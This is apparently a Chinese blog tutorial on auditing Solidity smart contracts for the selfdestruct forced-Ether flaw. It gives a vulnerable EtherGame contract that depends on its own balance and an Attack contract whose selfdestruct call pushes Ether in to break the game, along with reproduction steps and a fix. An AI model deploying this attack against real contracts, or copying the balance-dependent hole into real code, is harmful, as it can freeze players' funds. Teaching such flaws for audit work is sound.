智能合约审计-自毁漏洞

简介

Solidity有自毁函数selfdestruct(),该函数可以对创建的合约进行自毁,并且可以将合约里的Ether转到自毁函数定义的地址中。
在有些文章中 有把这个漏洞叫做强行将以太币置入合约用自毁功能强力发送以太币

复现

仔细看注释就可以了

pragma solidity ^0.6.0;

contract EtherGame{
    // 这个游戏的赢家是成为第7个存入1 ether的玩家
    uint public targetAmount = 7 ether;
    address public winner;
    // uint balance;
    
    function deposit() public payable{
        require(msg.value == 1 ether,"You can only send 1 ether");  // 只能存放1个ether
        uint balance = address(this).balance;
        // balance += msg.value;
        require(balance<=targetAmount,"Game is over");      // 如果余额大于了7 游戏就结束了
        if(balance == targetAmount){
            winner = msg.sender;
        }
    }
    
    function claimReward() public {     // 获取奖励
        require(msg.sender ==  winner,"Not winner");
        (bool sent,) = msg.sender.call{value:address(this).balance}("");
        require(sent);
    }
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
}

contract Attack {

    function attack(address payable target) public payable {
        // 可以通过发送以太打破游戏平衡
        // 大于7就打破了
        // cast address to payable
        selfdestruct(target);
    }
}
  1. 第一个地址(小明) 游戏玩家
  2. 第二个地址(小刚) 游戏玩家
  3. 第三个地址(小雪) Hack

https://youtu.be/CmQp1KdIF3c
流程也就是:

  1. 部署两个合约
  2. 小明和小刚分别存入1 ether
  3. 然后小雪出来捣乱破坏规则,存入5 ether
  4. 然后EtherGame这个合约里 已经有7 ether
  5. 再去用游戏玩家去存入ether 就会抛出异常Game is over

修复

不依赖address(this).balance
uint balance = address(this).balance;改为balance += msg.value;

上一篇:dpdk kni Invalid module format


下一篇:破解Hurstville library 500MB下载限制